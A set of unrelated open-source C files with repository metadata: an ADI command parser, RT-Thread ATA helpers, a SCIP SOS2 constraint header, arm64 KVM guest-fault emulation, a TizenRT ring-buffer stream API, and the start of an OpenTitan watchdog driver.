ADImatchToken( pstream, TOK__END, status ); lstx_inscel( adix_prs_cmdlist( pstream, "|endif", &choice, status ), &ipoint, status ); /* Match the "endif" */ ADInextToken( pstream, status ); more = ADI__false; } } /* The keyword was ENDIF. Flag end of loop */ else more = ADI__false; } } } else { /* Parse a single statement, and put into the action list */ action = lstx_cell( adix_prs_cmd( pstream, status ), ADI__nullid, status ); /* Add action list to output args */ lstx_inscel( action, &ipoint, status ); } /* Return the expression tree */ return ADIetnNew( adix_clone( K_Try, status ), robj, status ); } ADIobj adix_prs_while( int narg, ADIobj args[], ADIstatus status ) { ADIobj pstream = args[0]; int choice; ADIobj robj = ADI__nullid; /* Returned object */ ADIobj action; /* Action procedure */ ADIobj test; /* The WHILE test expression */ /* Skip the command name */ ADInextToken( pstream, status ); ADImatchToken( pstream, TOK__LPAREN, status ); test = ADIparseExpInt( pstream, ADI__nullid, 1, status ); ADImatchToken( pstream, TOK__RPAREN, status ); ADImatchToken( pstream, TOK__END, status ); /* Action list */ action = adix_prs_cmdlist( pstream, "|end", &choice, status ); if ( _ok(status) ) { ADInextToken( pstream, status ); /* Match the "end" */ /* Construct argument list */ robj = lstx_new2( test, action, status ); } return ADIetnNew( adix_clone( K_While, status ), robj, status ); } /* * Parse a single statement. The token which signifies the end of valid statement * (an end-of-line or semicolon) is not matched by this routine. Null statements * are ignored, and the null identifier returned. * */ ADIobj adix_prs_cmd( ADIobj pstream, ADIstatus status ) { ADIobj cbind; ADItokenType ctok; ADIobj name; ADIobj rval = ADI__nullid; /* IF command starts with a symbol, look for a command binding */ if ( ADIcurrentToken(pstream,status) == TOK__SYM ) { name = prsx_symname( pstream, status ); cbind = ADIsymFind( name, -1, ADI__true, ADI__command_sb, status ); /* Located a command symbol? */ if ( _valid_q(cbind) ) { /* Invoke parser procedure with stream as argument */ rval = adix_exemth( ADI__nullid, _mthd_exec(_sbind_defn(cbind)), 1, &pstream, status ); } else rval = ADIparseExpInt( pstream, ADI__nullid, 1, status ); } else rval = ADIparseExpInt( pstream, ADI__nullid, 1, status ); /* Check for garbage following statement */ if ( _valid_q(rval) && _ok(status) ) { ctok = ADIcurrentToken(pstream,status); if ( ctok != TOK__END && ctok != TOK__SEMICOLON ) { char *tstr; int tlen; ADIdescribeToken( ctok, &tstr, &tlen ); ADIparseError( pstream, ADI__SYNTAX, "Error reading statement - %*s found where semi-colon or end of line expected", status, tlen, tstr ); } } /* == TOK__END ADInextToken( pstream, status ); */ return rval; } /* * Parse and execute commands appearing on an input stream, sending output * to the output stream if specified */ void ADIcmdExec( ADIobj istream, ADIobj ostream, ADIstatus status ) { ADIobj cmd; ADIobj res; _chk_stat; do { ADInextToken( istream, status ); cmd = adix_prs_cmd( istream, status ); if ( _valid_q(cmd) ) { res = ADIexprEval( cmd, ADI__nullid, ADI__true, status ); if ( _valid_q(ADI_G_curint->exec.name) ) { ADIparseError( istream, ADI_G_curint->exec.code, "Break on unhandled exception %S", status, ADI_G_curint->exec.name ); if ( _valid_q(ADI_G_curint->exec.errtext) ) { adic_setecs( ADI_G_curint->exec.code, "%O", status, ADI_G_curint->exec.errtext ); } ADIexecAcceptI( ADI_G_curint->exec.name, status ); *status = SAI__OK; } else if ( _valid_q(res) ) { if ( _valid_q(ostream) ) { adix_print( ostream, res, 0, 1, status ); ADIstrmFprintf( ostream, "\n", status ); ADIstrmFflush( ostream, status ); } adic_erase( &res, status ); } /* Destroy the command */ adic_erase( &cmd, status ); } } while ( _ok(status) && (ADIcurrentToken(istream,status) != TOK__NOTATOK) ); } void ADIpkgRequire( char *name, int nlen, ADIstatus status ) { ADIobj afname; ADIobj curp = ADI_G_pkglist; char fname[ADI_FILENAME_BUF]; FILE *fp; ADIobj nid, nstr; char *pptr; ADIobj pstream; ADIlogical there = ADI__false; int ulen = 0, flen; _chk_init; _chk_stat; if ( ! ADI_G_getenv ) { /* Not got ADI_LOAD_PATH yet */ ADI_G_ldpath = getenv( "ADI_LOAD_PATH" ); if ( ADI_G_ldpath ) ADI_G_ldpath_len = strlen( ADI_G_ldpath ); ADI_G_getenv = ADI__true; } /* Import name string to an ADI string */ _GET_STRING(name,nlen); adic_newv0c_n( name, nlen, &nid, status ); /* Search existing list of loaded packages */ while ( _valid_q(curp) && ! there ) { _GET_CARCDR(nstr,curp,curp); there = (! strx_cmpi( nid, nstr ) ); } /* Only load the package if not done so already */ if ( ! there ) { /* Scan directories looking for file */ pptr = ADI_G_ldpath; do { int i; flen = 0; if ( pptr ) { for( ;pptr[ulen] == ' ' && (ulen<ADI_G_ldpath_len) ; ulen++ ) {;} for( ;pptr[ulen] != PATH_SEPARATOR && (ulen<ADI_G_ldpath_len) ; ulen++ ) fname[flen++] = pptr[ulen]; fname[flen++] = FILE_DELIMITER; } for( i=0; i<nlen; i++ ) fname[flen++] = name[i]; strcpy( fname + flen, ".adi" ); fp = fopen( fname, "r" ); if ( pptr && ! fp ) ulen++; } while ( pptr && (ulen<flen) && ! fp ); if ( fp ) { /* Create name string */ adic_newv0c( fname, &afname, status ); /* Set up parser stream */ pstream = ADIstrmNew( "r", status ); ADIstrmExtendFile( pstream, afname, fp, status ); ADIcmdExec( pstream, ADI_G_curint->StdOut, status ); /* Close stream and file */ adic_erase( &pstream, status ); fclose( fp ); /* If ok mark package as loaded */ if ( _ok(status) ) { lstx_inscel( nid, &ADI_G_pkglisti, status ); } else adic_setecs( *status, "Error loading package %*s", status, nlen, name ); } else { adic_erase( &nid, status ); adic_setecs( ADI__INVARG, "Package /%*s/ not found", status, nlen, name ); } } /* Release temporary string */ else { adic_erase( &nid, status ); } } void ADIpkgInit( ADIstatus status ) { DEFINE_CMDPAR_TABLE(ctable) CMDPAR_TENTRY( "break", adix_prs_break ), CMDPAR_TENTRY( "defclass", adix_prs_defclass ), CMDPAR_TENTRY( "defproc", adix_prs_defproc ), CMDPAR_TENTRY( "defrep", adix_prs_defrep ), CMDPAR_TENTRY( "do", adix_prs_dowhile ), CMDPAR_TENTRY( "global", adix_prs_global ), CMDPAR_TENTRY( "if", adix_prs_if ), CMDPAR_TENTRY( "local", adix_prs_local ), CMDPAR_TENTRY( "print", adix_prs_print ), CMDPAR_TENTRY( "raise", adix_prs_raise ), CMDPAR_TENTRY( "require", adix_prs_require ), CMDPAR_TENTRY( "return", adix_prs_return ), CMDPAR_TENTRY( "try", adix_prs_try ), CMDPAR_TENTRY( "while", adix_prs_while ), END_CMDPAR_TABLE; ADIkrnlAddCmdPars( ctable, status ); }
7de06838c402239bb9215fede0ad64a9ba6e8c6d
99bdb3251fecee538e0630f15f6574054dfc1468
/bsp/loongson/ls2kdev/drivers/ata/libata.c
980fc071fcb6320c4ae5283c47ee318c5f18a9a6
[ "Apache-2.0", "Zlib", "LicenseRef-scancode-proprietary-license", "MIT", "BSD-3-Clause", "X11", "BSD-4-Clause-UC", "LicenseRef-scancode-unknown-license-reference" ]
permissive
RT-Thread/rt-thread
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
3602f891211904a27dcbd51e5ba72fefce7326b2
refs/heads/master
2023-09-01T04:10:20.295801
2023-08-31T16:20:55
2023-08-31T16:20:55
7,408,108
9,599
5,805
Apache-2.0
2023-09-14T13:37:26
2013-01-02T14:49:21
C
UTF-8
C
false
false
3,561
c
libata.c
/* * Copyright (c) 2006-2020, RT-Thread Development Team * * SPDX-License-Identifier: Apache-2.0 * * Change Logs: * Date Author Notes * 2020-08-19 lizhirui porting to ls2k */ #include <rtthread.h> #include <ata_interface.h> #include <libata.h> u64 ata_id_n_sectors(u16 *id) { if (ata_id_has_lba(id)) { if (ata_id_has_lba48(id)) return ata_id_u64(id, ATA_ID_LBA48_SECTORS); else return ata_id_u32(id, ATA_ID_LBA_SECTORS); } else { return 0; } } u32 ata_dev_classify(u32 sig) { u8 lbam, lbah; lbam = (sig >> 16) & 0xff; lbah = (sig >> 24) & 0xff; if (((lbam == 0) && (lbah == 0)) || ((lbam == 0x3c) && (lbah == 0xc3))) return ATA_DEV_ATA; if ((lbam == 0x14) && (lbah == 0xeb)) return ATA_DEV_ATAPI; if ((lbam == 0x69) && (lbah == 0x96)) return ATA_DEV_PMP; return ATA_DEV_UNKNOWN; } static void ata_id_string(const u16 *id, unsigned char *s, unsigned int ofs, unsigned int len) { unsigned int c; while (len > 0) { c = id[ofs] >> 8; *s = c; s++; c = id[ofs] & 0xff; *s = c; s++; ofs++; len -= 2; } } void ata_id_c_string(const u16 *id, unsigned char *s, unsigned int ofs, unsigned int len) { unsigned char *p; ata_id_string(id, s, ofs, len - 1); p = s + strnlen((char *)s, len - 1); while (p > s && p[-1] == ' ') p--; *p = '\0'; } void ata_dump_id(u16 *id) { unsigned char serial[ATA_ID_SERNO_LEN + 1]; unsigned char firmware[ATA_ID_FW_REV_LEN + 1]; unsigned char product[ATA_ID_PROD_LEN + 1]; u64 n_sectors; /* Serial number */ ata_id_c_string(id, serial, ATA_ID_SERNO, sizeof(serial)); printf("S/N: %s\n\r", serial); /* Firmware version */ ata_id_c_string(id, firmware, ATA_ID_FW_REV, sizeof(firmware)); printf("Firmware version: %s\n\r", firmware); /* Product model */ ata_id_c_string(id, product, ATA_ID_PROD, sizeof(product)); printf("Product model number: %s\n\r", product); /* Total sectors of device */ n_sectors = ata_id_n_sectors(id); printf("Capablity: %lld sectors\n\r", n_sectors); printf ("id[49]: capabilities = 0x%04x\n" "id[53]: field valid = 0x%04x\n" "id[63]: mwdma = 0x%04x\n" "id[64]: pio = 0x%04x\n" "id[75]: queue depth = 0x%04x\n", id[49], id[53], id[63], id[64], id[75]); printf ("id[76]: sata capablity = 0x%04x\n" "id[78]: sata features supported = 0x%04x\n" "id[79]: sata features enable = 0x%04x\n", id[76], id[78], id[79]); printf ("id[80]: major version = 0x%04x\n" "id[81]: minor version = 0x%04x\n" "id[82]: command set supported 1 = 0x%04x\n" "id[83]: command set supported 2 = 0x%04x\n" "id[84]: command set extension = 0x%04x\n", id[80], id[81], id[82], id[83], id[84]); printf ("id[85]: command set enable 1 = 0x%04x\n" "id[86]: command set enable 2 = 0x%04x\n" "id[87]: command set default = 0x%04x\n" "id[88]: udma = 0x%04x\n" "id[93]: hardware reset result = 0x%04x\n", id[85], id[86], id[87], id[88], id[93]); } void ata_swap_buf_le16(u16 *buf, unsigned int buf_words) { unsigned int i; for (i = 0; i < buf_words; i++) { buf[i] = le16_to_cpu(buf[i]); } }
6539184abb25927fd071573e0b024427ae905b7c
ed98b77f3f09b392e68a0d59c48eec299e883bb9
/src/scip/cons_sos2.h
b73a46c0b08f5b1dd635124a6f4615b8f190f30f
[ "Apache-2.0" ]
permissive
scipopt/scip
c8ddbe7cdec0a3af5a230c04b74b76ffacbdcc33
dc856a4c966ea50bd5f52c58d7be4fea33706f4c
refs/heads/master
2023-08-19T11:39:12.578790
2023-08-15T20:05:58
2023-08-15T20:05:58
342,522,859
262
46
NOASSERTION
2023-08-03T07:37:45
2021-02-26T09:16:17
C
UTF-8
C
false
false
8,653
h
cons_sos2.h
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* */ /* This file is part of the program and library */ /* SCIP --- Solving Constraint Integer Programs */ /* */ /* Copyright (c) 2002-2023 Zuse Institute Berlin (ZIB) */ /* */ /* Licensed under the Apache License, Version 2.0 (the "License"); */ /* you may not use this file except in compliance with the License. */ /* You may obtain a copy of the License at */ /* */ /* http://www.apache.org/licenses/LICENSE-2.0 */ /* */ /* Unless required by applicable law or agreed to in writing, software */ /* distributed under the License is distributed on an "AS IS" BASIS, */ /* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ /* See the License for the specific language governing permissions and */ /* limitations under the License. */ /* */ /* You should have received a copy of the Apache-2.0 license */ /* along with SCIP; see the file LICENSE. If not visit scipopt.org. */ /* */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /**@file cons_sos2.h * @ingroup CONSHDLRS * @brief constraint handler for SOS type 2 constraints * @author Marc Pfetsch * */ /*---+----1----+----2----+----3----+----4----+----5----+----6----+----7----+----8----+----9----+----0----+----1----+----2*/ #ifndef __SCIP_CONS_SOS2_H__ #define __SCIP_CONS_SOS2_H__ #include "scip/def.h" #include "scip/type_cons.h" #include "scip/type_retcode.h" #include "scip/type_scip.h" #include "scip/type_var.h" #ifdef __cplusplus extern "C" { #endif /** creates the handler for SOS2 constraints and includes it in SCIP * * @ingroup ConshdlrIncludes * */ SCIP_EXPORT SCIP_RETCODE SCIPincludeConshdlrSOS2( SCIP* scip /**< SCIP data structure */ ); /**@addtogroup CONSHDLRS * * @{ * * @name Specially Ordered Set (SOS) Type 2 Constraints * * @{ * * A specially ordered set of type 2 (SOS2) is a sequence of variables such that at most two * variables are nonzero and if two variables are nonzero they must be adjacent in the specified * sequence. Note that it is in principle allowed that a variable appears twice, but it then can be * fixed to 0 if it is at least two apart in the sequence. */ /** creates and captures an SOS2 constraint * * We set the constraint to not be modifable. If the weights are non * NULL, the variables are ordered according to these weights (in * ascending order). * * @note the constraint gets captured, hence at one point you have to release it using the method SCIPreleaseCons() */ SCIP_EXPORT SCIP_RETCODE SCIPcreateConsSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS** cons, /**< pointer to hold the created constraint */ const char* name, /**< name of constraint */ int nvars, /**< number of variables in the constraint */ SCIP_VAR** vars, /**< array with variables of constraint entries */ SCIP_Real* weights, /**< weights determining the variable order, or NULL if natural order should be used */ SCIP_Bool initial, /**< should the LP relaxation of constraint be in the initial LP? * Usually set to TRUE. Set to FALSE for 'lazy constraints'. */ SCIP_Bool separate, /**< should the constraint be separated during LP processing? * Usually set to TRUE. */ SCIP_Bool enforce, /**< should the constraint be enforced during node processing? * TRUE for model constraints, FALSE for additional, redundant constraints. */ SCIP_Bool check, /**< should the constraint be checked for feasibility? * TRUE for model constraints, FALSE for additional, redundant constraints. */ SCIP_Bool propagate, /**< should the constraint be propagated during node processing? * Usually set to TRUE. */ SCIP_Bool local, /**< is constraint only valid locally? * Usually set to FALSE. Has to be set to TRUE, e.g., for branching constraints. */ SCIP_Bool dynamic, /**< is constraint subject to aging? * Usually set to FALSE. Set to TRUE for own cuts which * are separated as constraints. */ SCIP_Bool removable, /**< should the relaxation be removed from the LP due to aging or cleanup? * Usually set to FALSE. Set to TRUE for 'lazy constraints' and 'user cuts'. */ SCIP_Bool stickingatnode /**< should the constraint always be kept at the node where it was added, even * if it may be moved to a more global node? * Usually set to FALSE. Set to TRUE to for constraints that represent node data. */ ); /** creates and captures a SOS2 constraint with all constraint flags set to their default values. * * @warning Do NOT set the constraint to be modifiable manually, because this might lead * to wrong results as the variable array will not be resorted * * @note the constraint gets captured, hence at one point you have to release it using the method SCIPreleaseCons() */ SCIP_EXPORT SCIP_RETCODE SCIPcreateConsBasicSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS** cons, /**< pointer to hold the created constraint */ const char* name, /**< name of constraint */ int nvars, /**< number of variables in the constraint */ SCIP_VAR** vars, /**< array with variables of constraint entries */ SCIP_Real* weights /**< weights determining the variable order, or NULL if natural order should be used */ ); /** adds variable to SOS2 constraint, the position is determined by the given weight */ SCIP_EXPORT SCIP_RETCODE SCIPaddVarSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS* cons, /**< constraint */ SCIP_VAR* var, /**< variable to add to the constraint */ SCIP_Real weight /**< weight determining position of variable */ ); /** appends variable to SOS2 constraint */ SCIP_EXPORT SCIP_RETCODE SCIPappendVarSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS* cons, /**< constraint */ SCIP_VAR* var /**< variable to add to the constraint */ ); /** gets number of variables in SOS2 constraint */ SCIP_EXPORT int SCIPgetNVarsSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS* cons /**< constraint */ ); /** gets array of variables in SOS2 constraint */ SCIP_EXPORT SCIP_VAR** SCIPgetVarsSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS* cons /**< constraint data */ ); /** gets array of weights in SOS2 constraint (or NULL if not existent) */ SCIP_EXPORT SCIP_Real* SCIPgetWeightsSOS2( SCIP* scip, /**< SCIP data structure */ SCIP_CONS* cons /**< constraint data */ ); /** @} */ /** @} */ #ifdef __cplusplus } #endif #endif
da274b658088a99d3e8035bf42d9adae9e035901
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
/SOFTWARE/A64-TERES/linux-a64/arch/arm64/kvm/inject_fault.c
81a02a8762b0540c09746614153fe64f89a2e035
[ "Linux-syscall-note", "GPL-2.0-only", "GPL-1.0-or-later", "LicenseRef-scancode-free-unknown", "Apache-2.0" ]
permissive
OLIMEX/DIY-LAPTOP
ae82f4ee79c641d9aee444db9a75f3f6709afa92
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
refs/heads/rel3
2023-08-04T01:54:19.483792
2023-04-03T07:18:12
2023-04-03T07:18:12
80,094,055
507
92
Apache-2.0
2023-04-03T07:05:59
2017-01-26T07:25:50
C
UTF-8
C
false
false
5,571
c
inject_fault.c
/* * Fault injection for both 32 and 64bit guests. * * Copyright (C) 2012,2013 - ARM Ltd * Author: Marc Zyngier <marc.zyngier@arm.com> * * Based on arch/arm/kvm/emulate.c * Copyright (C) 2012 - Virtual Open Systems and Columbia University * Author: Christoffer Dall <c.dall@virtualopensystems.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <linux/kvm_host.h> #include <asm/kvm_emulate.h> #include <asm/esr.h> #define PSTATE_FAULT_BITS_64 (PSR_MODE_EL1h | PSR_A_BIT | PSR_F_BIT | \ PSR_I_BIT | PSR_D_BIT) #define EL1_EXCEPT_SYNC_OFFSET 0x200 static void prepare_fault32(struct kvm_vcpu *vcpu, u32 mode, u32 vect_offset) { unsigned long cpsr; unsigned long new_spsr_value = *vcpu_cpsr(vcpu); bool is_thumb = (new_spsr_value & COMPAT_PSR_T_BIT); u32 return_offset = (is_thumb) ? 4 : 0; u32 sctlr = vcpu_cp15(vcpu, c1_SCTLR); cpsr = mode | COMPAT_PSR_I_BIT; if (sctlr & (1 << 30)) cpsr |= COMPAT_PSR_T_BIT; if (sctlr & (1 << 25)) cpsr |= COMPAT_PSR_E_BIT; *vcpu_cpsr(vcpu) = cpsr; /* Note: These now point to the banked copies */ *vcpu_spsr(vcpu) = new_spsr_value; *vcpu_reg(vcpu, 14) = *vcpu_pc(vcpu) + return_offset; /* Branch to exception vector */ if (sctlr & (1 << 13)) vect_offset += 0xffff0000; else /* always have security exceptions */ vect_offset += vcpu_cp15(vcpu, c12_VBAR); *vcpu_pc(vcpu) = vect_offset; } static void inject_undef32(struct kvm_vcpu *vcpu) { prepare_fault32(vcpu, COMPAT_PSR_MODE_UND, 4); } /* * Modelled after TakeDataAbortException() and TakePrefetchAbortException * pseudocode. */ static void inject_abt32(struct kvm_vcpu *vcpu, bool is_pabt, unsigned long addr) { u32 vect_offset; u32 *far, *fsr; bool is_lpae; if (is_pabt) { vect_offset = 12; far = &vcpu_cp15(vcpu, c6_IFAR); fsr = &vcpu_cp15(vcpu, c5_IFSR); } else { /* !iabt */ vect_offset = 16; far = &vcpu_cp15(vcpu, c6_DFAR); fsr = &vcpu_cp15(vcpu, c5_DFSR); } prepare_fault32(vcpu, COMPAT_PSR_MODE_ABT | COMPAT_PSR_A_BIT, vect_offset); *far = addr; /* Give the guest an IMPLEMENTATION DEFINED exception */ is_lpae = (vcpu_cp15(vcpu, c2_TTBCR) >> 31); if (is_lpae) *fsr = 1 << 9 | 0x34; else *fsr = 0x14; } static void inject_abt64(struct kvm_vcpu *vcpu, bool is_iabt, unsigned long addr) { unsigned long cpsr = *vcpu_cpsr(vcpu); bool is_aarch32; u32 esr = 0; is_aarch32 = vcpu_mode_is_32bit(vcpu); *vcpu_spsr(vcpu) = cpsr; *vcpu_elr_el1(vcpu) = *vcpu_pc(vcpu); *vcpu_cpsr(vcpu) = PSTATE_FAULT_BITS_64; *vcpu_pc(vcpu) = vcpu_sys_reg(vcpu, VBAR_EL1) + EL1_EXCEPT_SYNC_OFFSET; vcpu_sys_reg(vcpu, FAR_EL1) = addr; /* * Build an {i,d}abort, depending on the level and the * instruction set. Report an external synchronous abort. */ if (kvm_vcpu_trap_il_is32bit(vcpu)) esr |= ESR_EL1_IL; /* * Here, the guest runs in AArch64 mode when in EL1. If we get * an AArch32 fault, it means we managed to trap an EL0 fault. */ if (is_aarch32 || (cpsr & PSR_MODE_MASK) == PSR_MODE_EL0t) esr |= (ESR_EL1_EC_IABT_EL0 << ESR_EL1_EC_SHIFT); else esr |= (ESR_EL1_EC_IABT_EL1 << ESR_EL1_EC_SHIFT); if (!is_iabt) esr |= ESR_EL1_EC_DABT_EL0; vcpu_sys_reg(vcpu, ESR_EL1) = esr | ESR_EL2_EC_xABT_xFSR_EXTABT; } static void inject_undef64(struct kvm_vcpu *vcpu) { unsigned long cpsr = *vcpu_cpsr(vcpu); u32 esr = (ESR_EL1_EC_UNKNOWN << ESR_EL1_EC_SHIFT); *vcpu_spsr(vcpu) = cpsr; *vcpu_elr_el1(vcpu) = *vcpu_pc(vcpu); *vcpu_cpsr(vcpu) = PSTATE_FAULT_BITS_64; *vcpu_pc(vcpu) = vcpu_sys_reg(vcpu, VBAR_EL1) + EL1_EXCEPT_SYNC_OFFSET; /* * Build an unknown exception, depending on the instruction * set. */ if (kvm_vcpu_trap_il_is32bit(vcpu)) esr |= ESR_EL1_IL; vcpu_sys_reg(vcpu, ESR_EL1) = esr; } /** * kvm_inject_dabt - inject a data abort into the guest * @vcpu: The VCPU to receive the undefined exception * @addr: The address to report in the DFAR * * It is assumed that this code is called from the VCPU thread and that the * VCPU therefore is not currently executing guest code. */ void kvm_inject_dabt(struct kvm_vcpu *vcpu, unsigned long addr) { if (!(vcpu->arch.hcr_el2 & HCR_RW)) inject_abt32(vcpu, false, addr); inject_abt64(vcpu, false, addr); } /** * kvm_inject_pabt - inject a prefetch abort into the guest * @vcpu: The VCPU to receive the undefined exception * @addr: The address to report in the DFAR * * It is assumed that this code is called from the VCPU thread and that the * VCPU therefore is not currently executing guest code. */ void kvm_inject_pabt(struct kvm_vcpu *vcpu, unsigned long addr) { if (!(vcpu->arch.hcr_el2 & HCR_RW)) inject_abt32(vcpu, true, addr); inject_abt64(vcpu, true, addr); } /** * kvm_inject_undefined - inject an undefined instruction into the guest * * It is assumed that this code is called from the VCPU thread and that the * VCPU therefore is not currently executing guest code. */ void kvm_inject_undefined(struct kvm_vcpu *vcpu) { if (!(vcpu->arch.hcr_el2 & HCR_RW)) inject_undef32(vcpu); inject_undef64(vcpu); }
5d3665d9d78ad669bf7738b11ba4cf8faa33018d
0744dcc5394cebf57ebcba343747af6871b67017
/framework/src/media/utils/rbs.h
93400c5d9dd238acf36f7ba4a794a57891220ab4
[ "Apache-2.0" ]
permissive
Samsung/TizenRT
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
refs/heads/master
2023-08-31T08:59:33.327998
2023-08-08T06:09:20
2023-08-31T04:38:20
82,517,252
590
719
Apache-2.0
2023-09-14T06:54:49
2017-02-20T04:38:30
C
UTF-8
C
false
false
6,234
h
rbs.h
/****************************************************************** * * Copyright 2018 Samsung Electronics All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ******************************************************************/ #ifndef _RBS_H_ #define _RBS_H_ #include "rb.h" #include <sys/types.h> #ifdef __cplusplus extern "C" { #endif /* This rbs.h provides APIs to operate ring buffer stream like a file stream. rbs_open -> user provides ring-buffer object and register input-function rbs_close -> fclose rbs_read -> fread, only item size 1 is supported rbs_write -> fwrite, only item size 1 is supported rbs_seek -> fseek rbs_tell -> ftell rbs_seek_ext -> if user seek_ext at pos1, then it's IMPOSSIBLE to seek(_ext) at a forward pos2 (pos2 < pos1). rbs_tell_ext -> tell available minimum position to seek, not current read position). There's some limitations: rbs_seek(_ext) can only seek at position started from rd_size, and if seek at position after wr_size, more data will be requseted (user must push data during callback). Large ring-buffer size is better, problem maybe happen if the size is too small. It's thread safe for multi-threaded writing and one thread reading at same time, user can try to push data at any time as long as there is free space in ring-buffer. [ RING ~ BUFFER ] 0 rd_idx wr_idx | | | ------------------------------------------ |...........#################.............| ------------------------------------------ ~~~~~~~~~~~~~~~~~~~~~~~~#################,,,,,,,,,,,,,,,,,,,,,,, | | | | | POS: 0 rd_size cur_pos wr_size end of stream '#' -- Valid Data in ring-buffer '.' -- Free space in ring-buffer '~' -- Data read/popped out from ring-buffer ',' -- will be pushed into ring-buffer when needed */ enum { OPTION_ALLOW_TO_DEQUEUE = 0x0001, /* Allow to dequeue data form ring-buffer */ OPTION_MAX, }; typedef struct rbstream_s rbstream_t; typedef struct rbstream_s *rbstream_p; struct rbstream_s { rb_p rbp; /* pointer to the ring-buffer object */ volatile size_t wr_size; /* total size written to ring-buffer */ volatile size_t rd_size; /* total size read from ring-buffer */ volatile size_t cur_pos; /* current read position, range[rd_size,wr_size] */ int options; /* */ }; /** * @brief Opens the given ring-buffer and associates a stream with it. * * @param rbp : Pointer to the ring-buffer object * @return ring-buffer stream handle, NULL is returned when failed. */ rbstream_p rbs_open(rb_p rbp); /** * @brief Close ring-buffer stream returned by rbs_open(). * * @param stream : Pointer to the ring-buffer stream * @return 0 is returned on success. Otherwise, -1 is returned. */ int rbs_close(rbstream_p stream); /** * @brief Reads nmemb items of data, from the position seeked by rbs_seek(_ext) * * @param ptr : Pointer to the location of items * @param size : Size in bytes of each item. Currently we only support 1 now. * @param nmemb : Number of items * @param stream : Pointer to the ring-buffer stream * @return the number of bytes transferred. */ size_t rbs_read(void *ptr, size_t size, size_t nmemb, rbstream_p stream); /** * @brief Writes nmemb items of data. Always append data to ring-buffer end, * that means data can't be written to the position seeked by rbs_seek() * * @param ptr : Pointer to the location of items * @param size : Size in bytes of each item. Currently we only support 1 now. * @param nmemb : Number of items * @param stream : Pointer to the ring-buffer stream * @return the number of bytes transferred. */ size_t rbs_write(const void *ptr, size_t size, size_t nmemb, rbstream_p stream); /** * @brief Sets the current read position indicator (cur_pos) for the stream. * * @param stream : Pointer to the ring-buffer stream * @param offset : Offset bytes to the position specified by whence. * Anyway, the final absolute position should be greater than rd_size, * And more data stream will be requested if there's not enough data * in ring-buffer. If can not request enough data, it returns failure. * @param whence : SEEK_SET, SEEK_CUR, or SEEK_END * @return 0 is returned on success, and positive value means number of data wanted. * Otherwise, -1 is returned on failure. */ int rbs_seek(rbstream_p stream, ssize_t offset, int whence); /** * @brief Sets the current read position indicator (cur_pos) for the stream. * And update rd_size same with cur_pos * * @param stream : Pointer to the ring-buffer stream * @param offset : It's same as offset param in above rbs_seek(). The only * difference is that, rd_size indicator will be changed to same cur_pos. * It's means data has been popped out and can never been read again. * @param whence : SEEK_SET, SEEK_CUR, or SEEK_END * @return 0 is returned on success, and positive value means number of data wanted. * Otherwise, -1 is returned on failure. */ int rbs_seek_ext(rbstream_p stream, ssize_t offset, int whence); /** * @brief Set options * * @param stream : Pointer to the ring-buffer stream * @param option : Refer option enum * @param value : Detail option value * @return current option value. */ int rbs_ctrl(rbstream_p stream, int option, int value); #ifdef __cplusplus } #endif #endif
a546045594a63123909f531407eb52921246bf33
39568e19301a7a112398be542154950af25591de
/sw/device/silicon_creator/lib/drivers/watchdog.c
48f0356ec9f91956fd3d7630d51117548dca01e6
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
lowRISC/opentitan
493995bc7cf7cb3aee486a5203af3fd62bba3bfc
51f6017b8425b14d5a4aa9abace8fe5a25ef08c8
refs/heads/master
2023-08-31T22:05:09.425796
2023-08-14T14:52:15
2023-08-31T20:31:13
204,516,692
2,077
634
Apache-2.0
2023-09-14T21:16:21
2019-08-26T16:30:16
SystemVerilog
UTF-8
C
false
false
4,117
c
watchdog.c
// Copyright lowRISC contributors. // Licensed under the Apache License, Version 2.0, see LICENSE for details. // SPDX-License-Identifier: Apache-2.0 #include "sw/device/silicon_creator/lib/drivers/watchdog.h" #include "sw/device/lib/base/abs_mmio.h" #include "sw/device/silicon_creator/lib/base/sec_mmio.h" #include "sw/device/silicon_creator/lib/drivers/lifecycle.h" #include "sw/device/silicon_creator/lib/drivers/otp.h" #include "aon_timer_regs.h" #include "hw/top_earlgrey/sw/autogen/top_earlgrey.h" #include "otp_ctrl_regs.h" #include "pwrmgr_regs.h" enum { kBase = TOP_EARLGREY_AON_TIMER_AON_BASE_ADDR, kPwrMgrBase = TOP_EARLGREY_PWRMGR_AON_BASE_ADDR, kCtrlEnable = 1 << AON_TIMER_WDOG_CTRL_ENABLE_BIT, kCtrlDisable = 0 << AON_TIMER_WDOG_CTRL_ENABLE_BIT, }; void watchdog_init(lifecycle_state_t lc_state) { SEC_MMIO_ASSERT_WRITE_INCREMENT(kWatchdogSecMmioInit, kWatchdogSecMmioConfigure); // Disable the watchdog bite when in test and RMA lifecycle states. hardened_bool_t enable = kHardenedBoolTrue; switch (launder32(lc_state)) { case kLcStateTest: HARDENED_CHECK_EQ(lc_state, kLcStateTest); enable = kHardenedBoolFalse; break; case 